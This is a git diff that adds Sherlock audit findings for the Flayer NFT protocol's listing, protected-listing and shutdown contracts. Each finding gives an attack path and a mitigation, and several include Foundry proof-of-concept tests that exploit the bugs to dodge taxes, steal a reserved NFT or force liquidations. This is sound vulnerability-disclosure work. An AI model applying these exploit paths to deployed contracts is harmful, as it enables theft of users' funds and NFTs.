+The function [CollectionShutdown::execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) sets `params.canExecute` is set to `false` at the end of its execution, which should prevent any call to [CollectionShutdown::cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390). This can be bypassed by calling [CollectionShutdown::vote()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L175) and voting with `1` wei in order to set `params.canExecute` to `true`:
+```solidity
+if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+ params.canExecute = true;
+ emit CollectionShutdownQuorumReached(_collection);
+}
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. [execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) has been called, `params.canExecute` is set to `false`
+2. [vote()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L175) is called, `params.canExecute` is set to `true`
+3. [cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390) can be now called
+
+### Impact
+
+Calling [CollectionShutdown::cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390) after [CollectionShutdown::execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) will break the accounting of the [CollectionShutdown::claim()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L285) function, as the whole `_collectionParams[_collection]` struct is deleted.
+
+This will prevent users from claiming the ETH proceeds from the sudoswap sale.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Revert in [CollectionShutdown::cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390) if [CollectionShutdown::execute()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) has been called already.
\ No newline at end of file
diff --git a/001/497.md b/001/497.md
new file mode 100644
index 0000000..f4b614d
--- /dev/null
+++ b/001/497.md
@@ -0,0 +1,123 @@
+Large Mauve Parrot
+
+High
+
+# It's possible to create listings with an arbitrary start timestamp
+
+### Summary
+
+[Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) allows to create listings with an arbitrary starting time, allowing to create listings that cannot cannot be filled, modified, cancelled, relisted or reserved.
+
+### Root Cause
+
+The function [Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) doesn't overwrite the `.created` input of the new listing, allowing the caller to create a listing with an arbitrary `.created` parameter. This can be used to create listings that cannot be filled, modified, cancelled, relisted or reserved
+because all of those functions internally call [_resolveListingTax()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L918) which reverts for underflow when `.created` is bigger than the current `block.timestamp`:
+
+```solidity
+ if (block.timestamp < _listing.created + _listing.duration) {
+ refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ }
+```
+
+Crafting listings that cannot be changed allow users to borrow `1e18` collection tokens without risking their ERC721, which should generally be done via protected listings, while having the possibility of being refunded for the whole tax the moment `block.timestamp == .create`.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Alice deposits an ERC721 in the locker via [Locker::deposit()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L144).
+2. Alice relists the just deposited ERC721 via [Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) by passing as input a `.created` timestamp equal to the current block timestamp plus 30 days.
+3. Alice received `1e18` collection tokens while her listing cannot be filled/relisted/reserved, plus she paid some taxes.
+4. After exactly 30 days Alice calls [Listings::cancelListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414), paying back `1e18` collcetion tokens while getting back a refund for the taxes she paid plus her ERC721.
+
+### Impact
+
+An attacker can craft listings that cannot be filled, modified, cancelled, relisted or reserved. This can be used to borrow collection tokens without paying fees/taxes.
+
+
+### PoC
+
+
+ To copy-paste in `Listings.t.sol`:
+
+ ```solidity
+function test_ExCanRelistFloorItemAsLiquidListing() public {
+ address alice = makeAddr("alice");
+ address bob = makeAddr("bob");
+ address _lister = alice;
+ address payable _relister = payable(bob);
+ uint _tokenId = 10;
+
+ //Warp to have a big enough block.timestamp
+ vm.warp(block.timestamp + 1000000);
+
+ // Provide a token into the core Locker to create a Floor item
+ erc721a.mint(_lister, _tokenId);
+
+ vm.startPrank(_lister);
+ erc721a.approve(address(locker), _tokenId);
+
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+
+ // Rather than creating a listing, we will deposit it as a floor token
+ locker.deposit(address(erc721a), tokenIds);
+ vm.stopPrank();
+
+ // Confirm that our listing user has received the underlying ERC20. From the deposit this will be
+ // a straight 1:1 swap.
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+
+ vm.startPrank(_relister);
+
+ // Provide our filler with sufficient, approved ERC20 tokens to make the relist
+ uint startBalance = 0.5 ether;
+ deal(address(token), _relister, startBalance);
+ token.approve(address(listings), startBalance);
+
+ // Relist the floor item with a `created` field 30 days in the future
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: _relister,
+ created: uint40(block.timestamp + 30 days),
+ duration: listings.MIN_LIQUID_DURATION(),
+ floorMultiple: 101
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+
+ vm.stopPrank();
+
+ // Provide our filler with sufficient, approved ERC20 tokens to make the relist
+ startBalance = 1 ether;
+ deal(address(token), _relister, startBalance);
+ token.approve(address(listings), startBalance);
+ vm.startPrank(_relister);
+ token.approve(address(listings), type(uint256).max);
+
+ //It's impossible to cancel a listing with a future starting date
+ vm.expectRevert();
+ listings.cancelListings(address(erc721a), _tokenIdToArray(_tokenId), false);
+
+ //Warp 30 days in the future
+ vm.warp(block.timestamp + 30 days);
+
+ //Cancel listing and don't pay taxes
+ listings.cancelListings(address(erc721a), _tokenIdToArray(_tokenId), false);
+}
+ ```
+
+
+### Mitigation
+
+In [Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) overwrite the user provided `created` field with the current `block.timestamp`.
\ No newline at end of file
diff --git a/001/498.md b/001/498.md
new file mode 100644
index 0000000..a96d8cc
--- /dev/null
+++ b/001/498.md
@@ -0,0 +1,109 @@
+Large Mauve Parrot
+
+High
+
+# Relisting liquidated listings should not distribute taxes and refunds
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+The [Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L644-L647) function calculates and distributes fees and taxes even for listings that are being liquidated, this shouldn't be the case as there are no taxes and fees for liquidated listings.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Alice creates a protected listing via [ProtectedListings::createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117), borrowing `0.95e18` collection tokens
+2. Time passes, interest increases and Alice protected listing can now be liquidated
+3. Bob liquidates Alice's protected listing via [ProtectedListings::liquidateProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L429), this creates a 4 day long `DUTCH` listing. No taxes are paid to create this listing.
+4. Charlie relists the listing via [Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625). This processes both taxes and refunds [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L644), which shouldn't be the case as taxes are not paid when the `DUTCH` listing was created.
+
+### Impact
+
+The taxes/fees and refunds incorrectly processed by [Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) will be taken from collection tokens currently held in the `Listings` contract, stealing it from from the protocol and giving them to either liquidity providers in the form of fees or the original owner of the listing (Alice) in the form of a refund.
+
+### PoC
+
+
+ To copy-paste in `Listings.t.sol`:
+
+```solidity
+function test_relistingLiquidatedListing() public {
+ // Set up some test users
+ address payable userA = payable(makeAddr("userA")); // Initial listing creator
+ address payable userB = payable(makeAddr("userB")); // Keeper / liquidator
+ address payable userC = payable(makeAddr("userC")); // Relisting user
+
+ // Mint the initial token to UserA
+ erc721a.mint(userA, 0);
+
+ // Store our {CollectionToken} for quick checks
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+
+ deal(address(token), userA, 5 ether);
+ deal(address(token), userB, 5 ether);
+ deal(address(token), userC, 5 ether);
+
+ // [User A] Create a protected listing that liquididates
+ vm.startPrank(userA);
+ erc721a.approve(address(protectedListings), 0);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(0),
+ listing: IProtectedListings.ProtectedListing({
+ owner: userA,
+ tokenTaken: 0.95 ether,
+ checkpoint: 0
+ })
+ })
+ });
+ vm.stopPrank();
+
+ // Skip some time to liquidate
+ vm.warp(block.timestamp + 52 weeks);
+
+ // [User B] Liquidate the listing
+ vm.prank(userB);
+ protectedListings.liquidateProtectedListing(address(erc721a), 0);
+
+ //UserA current escrow balance (where refunds are sent) is currently 0
+ assertEq(listings.balances(userA, address(token)), 0);
+
+ vm.startPrank(userC);
+ token.approve(address(listings), type(uint256).max);
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(0),
+ listing: IListings.Listing({
+ owner: userC,
+ created: uint40(block.timestamp),
+ duration: listings.MIN_LIQUID_DURATION(),
+ floorMultiple: 101
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+ vm.stopPrank();
+
+ //UserA receives a refund he should never receive
+ assertEq(listings.balances(userA, address(token)), 51428571428571428);
+}
+```
+
+
+
+
+### Mitigation
+
+In [Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) don't distribute fees and taxes as correctly done in other functions like [Listings::reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L708-L713).
\ No newline at end of file
diff --git a/001/499.md b/001/499.md
new file mode 100644
index 0000000..5f46958
--- /dev/null
+++ b/001/499.md
@@ -0,0 +1,53 @@
+Large Mauve Parrot
+
+High
+
+# `ProtectedListings::_createCheckpoint()` returns wrong checkpoint index in some cases
+
+### Summary
+
+[ProtectedListings::_createCheckpoint()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L566) can return a wrong checkpoint index, potentially leading to out-of-bound errors that prevents users from unlocking a protected listing in order to get ERC721s back.
+
+### Root Cause
+
+The internal function [ProtectedListings::_createCheckpoint()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L566) returns the wrong checkpoint index when a checkpoint has been created previously in the same block (ie. same `block.timestamp`). The returned index is used by [ProtectedListings::createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L143) and when setted incorrectly it leads to [ProtectedListings::unlockPrice()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L607) always reverting because it tries to access an out-of-bound element in the checkpoints array.
+
+### Internal pre-conditions
+
+1. A new checkpoint for a collection has to be created, this can happen via [unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287C14-L287C36), [liquidateProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L429C14-L429C39), [createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117), etc.
+2. An user calls [ProtectedListings::createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L143) in the same block for the same collection as `1.`
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Alice unlocks an ERC721 for a collection `X` by calling [unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol
+2. In the same block Bob creates a protected listing for one of his ERC721 for the same collection `x` via [ProtectedListings::createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L143)
+3. It's not possible to unlock, adjust or liquidate Bob's position
+
+### Impact
+
+[ProtectedListings::unlockPrice()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L607), the function that reverts in case a wrong checkpoint index is set, is used internally by:
+
+- [unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol)
+- [liquidateProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L429)
+- [adjustPosition()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366)
+
+this results in users not being able to adjust their position, unlock it or liquidated it making them unable to retrive their ERC721 asset. It can also be used to craft a protected listing that cannot be liquidated.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+In [ProtectedListings::_createCheckpoint()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L566) return the correct index:
+
+```solidity
+if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+ return index_ - 1; //<---
+}
+```
\ No newline at end of file
diff --git a/001/500.md b/001/500.md
new file mode 100644
index 0000000..6163847
--- /dev/null
+++ b/001/500.md
@@ -0,0 +1,104 @@
+Large Mauve Parrot
+
+High
+
+# `ProtectedListings::adjustPosition()` doesn't adjust the taxes to pay
+
+### Summary
+
+The function [ProtectedListings::adjustPosition()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366) doesn't adjust the taxes to pay. This results in users paying more taxes than they should when increasing their debt and paying less taxes when decreasing their debt.
+
+### Root Cause
+
+The function [ProtectedListings::adjustPosition()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366) doesn't adjust the taxes to pay and simply changes the amount of debt to the new one. The function [ProtectedListings::unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287), used to unlock a position by paying the debt plus taxes back, calculates taxes via [unlockPrice()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L613) which only considers the current debt (ie. `tokenTaken`) when calculating taxes:
+
+```solidity
+function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+ // Get the information relating to the protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Calculate the final amount using the compounded factors and principle amount
+ unlockPrice_ = locker.taxCalculator().compound({
+ _principle: listing.tokenTaken,
+ _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+ _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+}
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Alice creates a protected listing via [ProtectedListings::createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117) locking an ERC721 asset to get `0.8e18` collection tokens.
+2. After some days she decides to get her ERC721 asset back but she doesn't want to pay taxes.
+3. Alice calls [ProtectedListings::adjustPosition()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366) decreasing her debt to `1` single wei of collection tokens.
+4. Alice now calls [ProtectedListings::unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287) to get her ERC721 back but she only pay taxes on the `1` wei of debt she left in her position.
+
+### Impact
+
+1. Users can avoid paying taxes on protected listings
+2. Users can pay more taxes than they should when taking new debt using [ProtectedListings::adjustPosition()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366)
+
+### PoC
+
+
+ To copy-paste in `ProtectedListings.t.sol`:
+```solidity
+function test_AdjustPositionToAvoidFees() public {
+ uint _tokenId = 0;
+ address payable _owner = users[0];
+ erc721a.mint(_owner, _tokenId);
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+
+ //Alice starts with 0 collection tokens
+ assertEq(token.balanceOf(address(_owner)), 0);
+
+ //Create protected listing while taking `0.8e18` collection tokens of debt
+ vm.startPrank(_owner);
+ erc721a.approve(address(protectedListings), _tokenId);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: 0.8 ether,
+ checkpoint: 0
+ })
+ })
+ });
+
+ //Alice borrows `0.8e18` collection tokens
+ assertEq(token.balanceOf(address(_owner)), 0.8 ether);
+
+ //Two days passes and interest accumulates
+ vm.warp(block.timestamp + 2 days);
+
+ //Ajudst the position by removing `0.8e18 - 1` debt, leaving exactly `1` wei of debt
+ token.approve(address(protectedListings), type(uint256).max);
+ protectedListings.adjustPosition(address(erc721a), _tokenId, int(-1 * (0.8 ether - 1)));
+
+ //Alice has `1` wei left
+ assertEq(token.balanceOf(address(_owner)), 1);
+
+ //Unlock the position and avoid paying taxes
+ protectedListings.unlockProtectedListing(address(erc721a), _tokenId, true);
+ vm.stopPrank();
+
+ //Alice paid no interest for 2 days of borrowing
+ assertEq(token.balanceOf(address(_owner)), 0);
+}
+```
+
+
+
+### Mitigation
+
+Adjusting a position via [ProtectedListings::adjustPosition()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366) should be treated like an user unlocking and then creating a new listing. This way taxes are properly paid.
\ No newline at end of file
diff --git a/001/501.md b/001/501.md
new file mode 100644
index 0000000..94364af
--- /dev/null
+++ b/001/501.md
@@ -0,0 +1,43 @@
+Large Mauve Parrot
+
+Medium
+
+# It's possible to DOS a shutdown process by minting/burning collection tokens atomically
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+[CollectionShutdown::cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390) can be called at any point by users that have at least 4 NFTs of the relative collection by:
+
+1. Depositing the 4 NFTs in the locker via [Locker::deposit()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol) in order to mint `4e18` tokens
+2. Calling [CollectionShutdown::cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390), which is now callable because the total supply of tokens is greater than `4e18`
+3. Redeeming the 4 NFTs from the locker via [Locker::redeem()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L209)
+
+Doing this it's possible to DOS a collection shutdown, preventing the NFTs locked in the protocol from being sold for ETH and then distributed to collection token holders.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+1. An attacker has 4 NFTs of a collection that's being shutdown
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Cancelling a shutdown process results in the protocol not selling the remaning collection NFTs for ETH and collection token holders not receiving any proceed. Another shutdown can be started via [CollectionShutdown::start()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135), but this would require users to vote again.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/001/513.md b/001/513.md
new file mode 100644
index 0000000..74e5ebf
--- /dev/null
+++ b/001/513.md
@@ -0,0 +1,101 @@
+Large Mauve Parrot
+
+High
+
+# `Listings::reserve()` doesn't delete the old listing
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+The [Listings::reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690) creates a protected listing from a normal listing, but doesn't delete the normal listing. This leads to a state where both a normal listing and a protected listing exists for the same NFT. This allows the owner of the "old" normal listing to still claim the NFT via [Listings::cancels()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414), stealing it from the new owner and resulting in a protected listing whose NFT is not in the locker.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Eve lists a rare NFT via [Listings::createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130)
+2. Alice wants the NFT but doesn't have funds to pay it now, so she reserves via [Listings::reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690)
+3. A new protected listing for the NFT is created, but the normal listing is not deleted. The owner of the normal listing is still Eve
+4. Eve calls [Listings::cancelListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414) on the normal listing, retrieving her NFT
+
+At this point in the protocol exists a protected listing whose owner is Alice for an NFT that's not in the locker anymore.
+
+### Impact
+
+Anybody calling [Listings::reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690) can get their NFT stolen by the user that originally listed it for sale.
+
+### PoC
+
+To copy-paste in `Listings.t.sol`:
+```solidity
+function test_RelistNoDelete() public {
+ address _lister = makeAddr("alice");
+ address payable _relister = payable(makeAddr("bob"));
+ uint _tokenId = 10;
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ listings.setProtectedListings(address(protectedListings));
+ erc721a.mint(_lister, _tokenId);
+
+ //Approvals
+ vm.prank(_relister);
+ token.approve(address(protectedListings), type(uint256).max);
+
+ // Create our listings
+ vm.startPrank(_lister);
+ erc721a.approve(address(locker), _tokenId);
+ erc721a.approve(address(listings), _tokenId);
+ token.approve(address(listings), type(uint256).max);
+
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+
+ IListings.CreateListing[] memory _listingsA = new IListings.CreateListing[](1);
+ _listingsA[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: payable(_lister),
+ created: uint40(block.timestamp),
+ duration: 7 days,
+ floorMultiple: 120
+ })
+ });
+ listings.createListings(_listingsA);
+ vm.stopPrank();
+
+
+ // Relister reserves the NFT
+ vm.startPrank(_relister);
+ uint startBalance = 1 ether;
+ deal(address(token), _relister, startBalance + 1e18);
+ token.approve(address(listings), type(uint256).max);
+ listings.reserve({
+ _collection: address(erc721a),
+ _tokenId: _tokenId,
+ _collateral: 0.4 ether
+ });
+ vm.warp(block.timestamp + 10); //avoid wrong checkpoint `index` bug
+ vm.stopPrank();
+
+ //Lister successfully cancel lthe listing and get NFT
+ vm.prank(_lister);
+ listings.cancelListings(address(erc721a), tokenIds, false);
+
+ //Protected listing can't be unblocked because the NFT is not in the locker
+ vm.prank(_relister);
+ protectedListings.unlockProtectedListing(address(erc721a), _tokenId, true);
+}
+```
+
+### Mitigation
+
+In [Listings::reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690) delete the old listing.
\ No newline at end of file
diff --git a/001/514.md b/001/514.md
new file mode 100644
index 0000000..1d0c4fd
--- /dev/null
+++ b/001/514.md
@@ -0,0 +1,43 @@
+Large Mauve Parrot
+
+Medium
+
+# `Listings::reserve()` doesn't clear the `isLiquidation[collection][tokenId]` mapping
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+[Listings::reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690) doesn't clear the `_isLiquidation[collection][tokenId]` mapping.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Alice reserves an NFT that's being liquidated (ie. whose mapping `_isLiquidation[collection][tokenId]` is set to `true` ) via [Listings::reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690)
+2. The `_isLiquidation[collection][tokenId]` value stays `true` as the function doesn't delete the mapping
+3. After some time Alice buys the NFT by calling [ProtectedListings::unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287)
+4. Alice decides to list the NFT via [Listings::createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130)
+
+At this point, because `_isLiquidation[collection][tokenId]` is still set to `true`, the protocol will assume the NFT is being liquidated. This is problematic because taxes and fees are not refunded/paid on NFTs that are being liquidated leading to loss of funds for Alice and/or the protocol.
+
+### Impact
+
+Generally, filling/reserving an NFT before it reaches floor price results in a taxes refund to the lister, because the lister pays the taxes for the whole duration of the listing on listing creation. This won't happen in situations as described above, leading to the lister not receiving a refund and losing collection tokens.
+
+Collection tokens fees will also not be deposited in the uniswap hook.
+### PoC
+
+_No response_
+
+### Mitigation
+
+In [Listings::reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690) delete the `isLiquidation[collection][tokenId]` mapping if the relisted NFT is being liquidated.
\ No newline at end of file
diff --git a/001/515.md b/001/515.md
new file mode 100644
index 0000000..c619671
--- /dev/null
+++ b/001/515.md
@@ -0,0 +1,62 @@
+Large Mauve Parrot
+
+High
+
+# Protected listings checkpoints are not always updated when the total supply changes
+
+### Summary
+
+The protocol doesn't update protected listings checkpoints every time the total supply of collection token changes
+
+### Root Cause
+
+The `ProtectedListing` contract uses a checkpoint system to keep track of the interests to pay. It calculates the current interest rate of a collection based on the [utilization rate](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261), which depends, among other factors, on the total supply of collection tokens.
+
+For this system to work correctly everytime the total supply changes a new checkpoint for the collection should be created, but this is not the case as both [Locker::deposit()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261) and [Locker::redeem()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L198), which mint and burn collection tokens, don't create a new checkpoint in the protected listing contract.
+
+Another case where this happens is the [UniswapImplementation::afterSwap()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L617) hook, where collection tokens can be burned.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+This is a problem by itself, as users will pay a wrong interest rate, but it can also be taken advantage of to force users to pay a huge amount of interest or get their protected listings liquidated:
+
+1. Alice creates a new protected listing via [ProtectedListings::createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117). This is the first protected listing of the collection and as such she expects a low interest rate.
+2. Eve, a liquidity provider, flashloans all of the collection tokens currently in the UniswapV4 pool.
+3. Eve calls [Locker::redeem()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L209) in order to burn all of the flashloaned collection tokens in the exchange for NFTs. This lowers the total supply of collection tokens and increases the utilization rate.
+4. Eve calls [Listings::cancelListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414) by passing as an emppty array as token ids. This creates a checkpoint for the collection.
+5. Eve calls [Locker::deposit()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L132) in order to re-deposit the NFT collected during point `3` in exchange for collection tokens.
+6. Eve adds the collection tokens back the UniV4 pool.
+
+This results in Alice having to pay a higher interest rate than expected, which is profitable for Eve, or have her NFT liquidated if the interest rate is so high that the position becomes liquidatable in much less time than she expects.
+
+The worst situation possible is for Alice to create a protected listing by borrowing `1` wei of tokens in a collection that's just been created and whose whole total supply is locked in the UniwapV4 pool. Eve would be able to create a situation where:
+
+1. The total supply is `1` (Alice's borrowed token)
+2. The amount of listings is `1` (Alice's listing)
+
+which would result in an utilization rate of:
+> (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply
+
+> (1 * 1e36 * 10 ** 0) / 1
+
+> 1e36
+
+### Impact
+
+Since the checkpoints are not correctly updated users will pay a wrong interest rate on protected listings no-matter-what. An attacker can abuse this artificially inflate the utilization rate, which is profitable when the attacker is also a liquidity provider in the UniV4 pool.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Correctly update collection checkpoints whenever the total supply of collection token changes.
\ No newline at end of file
diff --git a/001/516.md b/001/516.md
new file mode 100644
index 0000000..899d42e
--- /dev/null
+++ b/001/516.md
@@ -0,0 +1,65 @@
+Large Mauve Parrot
+
+Medium
+
+# `ProtectedListings::createListings()` creates checkpoint before `listingCount` variable is updated
+
+### Summary
+
+_No response_
+
+### Root Cause
+
